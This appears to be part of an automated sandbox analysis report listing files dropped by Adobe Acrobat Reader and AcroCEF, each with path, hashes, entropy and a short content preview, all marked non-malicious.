Size (bytes):	295
Entropy (8bit):	5.251226553479323
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJfzdPeUkwRe9:YvXKXraYpW7YGb8Ukee9
MD5:	FB63A26C87534047675A0343E177F136
SHA1:	3E31207F7D26C9A25BB02D01FDA1756F2C357205
SHA-256:	4036B63C7EC5FB1D62C5F654812810A89B1C54F67FEDC1C737F81E8A0C90EB5D
SHA-512:	C53E23CC284C9754436FDE07350C3D470F07F55D70C4D86F37323554A02478D6CD7B51C29989A368A46012249FB9C913AD01A2AC45802C0CB5D832BCDB25197E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.230733163381471
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJfYdPeUkwRe9:YvXKXraYpW7YGg8Ukee9
MD5:	CAE973478B82CA5AE6E5AE066EE38089
SHA1:	35369DB6EC5BF1FD7A78A69A6141E991BC0ECE53
SHA-256:	65482AA5C6EF0DF219C6D152D276D3D81226C8785E9B2E5C0AD93DCA36916CE2
SHA-512:	A307E60D835970550CD490F32500337C86C9FBD3D2731B1ABCE554A84C2BB466190B6A52D1F0871A939C070B29D35FA57E432EA3F92B1B2642323812122416FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.21614540326462
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJf+dPeUkwRe9:YvXKXraYpW7YG28Ukee9
MD5:	15D67B5C78A19217CE285E9DD7F326EC
SHA1:	B48A3986E879835F1ED4C15B5DAB2B54E9405345
SHA-256:	C2F30C68B6F182CCA59A6DB9FFBAC8E85B12CADD37D5DB1423726B0F754F4764
SHA-512:	AD8816076C280A1CF02BC8D4F8ED37A7D3EDD338D820C1D23C68AEA8785D77647BBFA4C931E8506648F6BC7B97CDE3DDBC03A5C3622734358AB79A75B2875CA7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.214756321788107
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJfbPtdPeUkwRe9:YvXKXraYpW7YGDV8Ukee9
MD5:	D4A8F675DF6CA4DC61AF47456C427124
SHA1:	61817B436B47F36A2EC93F280963D5F90FDCD009
SHA-256:	176F037138E3B5BBE24194650371D4BE5A03B10F653248B4708F6104C1EFFC39
SHA-512:	25F852B7C66ECF3918FA5A4E96A148E016AC8CE0E6E987D1286185737C49E09AEA36F16054F0B3DBA45FF924A391548B8515B1D2629AE18751D5CD0643F15AA3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.21576665020006
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJf21rPeUkwRe9:YvXKXraYpW7YG+16Ukee9
MD5:	0718FD641423171BC35BECA790349DFF
SHA1:	E143DEE8BE1F244443577B1AC34192443F1DBE22
SHA-256:	B0D068FDFE36A3678473D1408E41A032F9558A51259183BC446A01D89B6AA278
SHA-512:	EB3977D547B6323081E03E29E8AB33363C616A7A7D8801B3A6545577B43F364C6A876192D8E05775EE14FF1944C15804AB07FE299358A85ED4DD3F0AF5AF9FE0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.658675635497215
Encrypted:	false
SSDEEP:	24:Yv6XrvitamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSb:YvwaBBgkDMUJUAh8cvMb
MD5:	6F324A2A7AFFF45FF1F2A82EA7A52169
SHA1:	32897684D3B14940F55713C233ECBDBED7669734
SHA-256:	81B1CBE044578E6843C3986FA6ECABA9AB08BB226C6C4304024BB315BFF91CC4
SHA-512:	63EBAF2AAE1E8CC85D01DB94A43E0C5B4747B06599431B34E24E624E7585DDCF964A77A435CA675D8776561F076901EC0C82A56CF84B916A1EED59B00CCAEE07
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.1901225123545265
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJfshHHrPeUkwRe9:YvXKXraYpW7YGUUUkee9
MD5:	A28E654F921FA0DC217BE5C256448465
SHA1:	6BC3A38B7CC205C795B1B70A1852263AAF5FDFA2
SHA-256:	A390086A814681D47CC4A58D91DEEC1000A55CC3E7BC0FF76CDB9DA4DC57EDBD
SHA-512:	4DA421BEA41809A781BD456A2629E2FFA8636B9C5480D318E692877A1308849E644ECFE75C303146824973B2F2CDDA173324DB4D35CDC4949BA2E8BD81F90B8F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.201359193899659
Encrypted:	false
SSDEEP:	6:YEQXJ2HXD3y7aR+FIbRI6XVW7+0YLyDoAvJTqgFCrPeUkwRe9:YvXKXraYpW7YGTq16Ukee9
MD5:	DA22280CC38E3620CD132FC80A7E0BAA
SHA1:	E80600F445320AFA707E5CB0EA8B77EF92C7F84E
SHA-256:	FFD418E75EBC25A425E2B3269D0BF9A1D51C879528F1CDCDC142AFC99CF758CA
SHA-512:	5AABBE64D5D33450F03BA2C10F4CA51036EBD5A73400786EA79D950C3926BC02EC41C8EE2487CF547738C08B1A50D522A5D4D21980923B0AD0A8A65273324CA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"447e5d20-60ca-4e11-a577-7b33228da7e8","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1737217435243,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.130105464736584
Encrypted:	false
SSDEEP:	48:YkbzuXgKzsnwIl+RtGRexAIcXKIlbrBDF9aUF:fvuXpIwK+R7CKIlXJaUF
MD5:	5C066ED9FCC963DDE2163987E776B220
SHA1:	4A794221447BE0F8373EC7513564297DECB16846
SHA-256:	642AB1A9FB77ABF595CF9A809C45AE96C64921E0B4377E4D0B721C0FA8B0E331
SHA-512:	DBCFBDA3E83DE31B94E863ABC78E97925F738C1EB0BD747C3983D0E02316EF38CB5A5E9558D929F9D9D170592B576D8D7C9B3186DDB18C6385790FA827AB68BE
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"a5fc1dd702f649c011289d286d803b08","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1737044380000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"3971ebc3430578e9eee2d005975a8210","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1737044380000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6a7e4ce3543ca4a511aa970e8a20b2ec","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1737044380000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"102f187e8580970e36328f22a1873afb","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1737044380000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"28cab76701e93b623c92246f326fa051","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1737044380000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"851ce4ed177293092e8588c22a6815d9","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9852303634941105
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpjF4zJwtNBwtNbRZ6bRZ4CFF:TVl2GL7ms6ggOVpjezutYtp6P1v
MD5:	98DC1E50D5CD03B0C839265AB2D52F94
SHA1:	FFA4794774A0BD9814015576746CF031D3AEE15F
SHA-256:	804ED93FB07A8D01824F14D0A0EFCFB4A28D332068DD1817C37900758A213BD1
SHA-512:	0C3EB17F164B88F086FB2E739EBC80F893EBD45A7D53AEBF2EDBB63BFDF598F17FE2E41FCD2CD5154BD24385A85F5C6AA243B2DC5DF9AD0C4AB971A634E830D0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3400191516142115
Encrypted:	false
SSDEEP:	24:7+tMyAD1RZKHs/Ds/SpjFPzJwtNBwtNbRZ6bRZWf1RZKjqLBx/XYKQvGJF7ursw:7MzGgOVpjlzutYtp6PMaqll2GL7msw
MD5:	9C0684CAB663F118AA875245AC0EB92F
SHA1:	F188B10BC013619F83AFE09906FF4FB9B79CA2ED
SHA-256:	8835761F843B693D10596DB2AF465DADDF0028637967D2EFB61059F64087A5D5
SHA-512:	A34405ACDA807FB04C402377AE373CA284678FCE73A908E9B49DA6CE94201069EE80C98E20A6F3218B3CB3D7562020EA851BDC549797E6ACEA28F0397E526C39
Malicious:	false
Preview:	.... .c.......!V......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgnC4jQYYC3aX3wfxUMEvVjInjuGLQsYyu:6a6TZ44ADEnC4hYCKX3c/XbK
MD5:	4C73ADEA31BF6CDFFDFE10D4271FA5DB
SHA1:	71DB99E2055944C99E42C84AA048DEA85F051C71
SHA-256:	0E2D5F3DA90ABC79B1434EA36ED3E2AE80B2187054C743D436D782DA7D9ED589
SHA-512:	7998CA367C0B71DCF22353C6CA3F4F6FB21C07FBBD81332EBB937D859DDD8D16BF82507B7464154BFCEB4E2D8FABBD4870222779C2E58B0B6D1E590D1FA1BA18
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Temp\MSIf5e2.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511036883392733
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8eebClEFCH:Qw946cPbiOxDlbYnuRKhsDwH
MD5:	B31A182F47D0C103A476AF5D773AEE9B
SHA1:	904DECD3E6F2049CCB714DC35253A533FD652C25
SHA-256:	E10A11DE9CB1390A9CB107B2B03F85665A60E18BCA135AB5996E2E02266C9F7D
SHA-512:	FFD15FC48D560D179A708D1BE3090E9AED1226043594393154AEC6B318DED0EB3BA442DC84192C186346A9AA9F22DAB1AA082A910027AF4D8F5BEAF46D0E1346
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.6./.0.1./.2.0.2.5. . .1.1.:.1.9.:.4.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-16 11-19-35-493.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.373655556326123
Encrypted:	false
SSDEEP:	384:mdLIzpyfELWvUKMQTlRIUdBEwHaLmL/8OBT/5FJYQnvhfGfOnkV2RiRENQOetEMf:unS
MD5:	EC57524A55B09E825F529E38C6866E3C
SHA1:	B6D3C4DBB6CE84D295063CE7ECB85D42F4B22CD2
SHA-256:	38107F94E6A64B7985BD56B57A99F4A2FDC38E562E821FDFCAA19A4B75EDF5D7
SHA-512:	629056F44A2D4EE4610AFEB21ABD271A85C043029BF16049E9F04B9F80B7E065F348920E71FED057C4B276911AD6AAB28F4A00B8C0DB71202E5C34DAA8B410AF
Malicious:	false
Preview:	SessionID=da04c3fb-8976-40e5-a1d4-f3dbf7fce25b.1737044375622 Timestamp=2025-01-16T11:19:35:622-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=da04c3fb-8976-40e5-a1d4-f3dbf7fce25b.1737044375622 Timestamp=2025-01-16T11:19:35:642-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=da04c3fb-8976-40e5-a1d4-f3dbf7fce25b.1737044375622 Timestamp=2025-01-16T11:19:35:642-0500 ThreadID=7764 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=da04c3fb-8976-40e5-a1d4-f3dbf7fce25b.1737044375622 Timestamp=2025-01-16T11:19:35:642-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=da04c3fb-8976-40e5-a1d4-f3dbf7fce25b.1737044375622 Timestamp=2025-01-16T11:19:35:642-0500 ThreadID=7764 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.410258473132217
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbr:/
MD5:	834DE253433137356E86E9094D66ACAD
SHA1:	41CF0F4CDBFA96E11C285F51F0F75DAD3068EA65
SHA-256:	8668D5A3BF5F56414B4561E741433057C693C106C7E7559F6750456BF4BEE766
SHA-512:	BDBCAC56C0835D5C70F029F3BE529B216F26A0D11A75CFA24C036AA26D7414D36E26BD5E25957477AE3E5622AF230538F150B8AB987A9D2C9A83C4843AE8102F
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5656506d-e737-41a6-9327-d4ccb80dcf05.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8707a7d0-d1a3-4ef2-8cf1-649a9b611011.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... 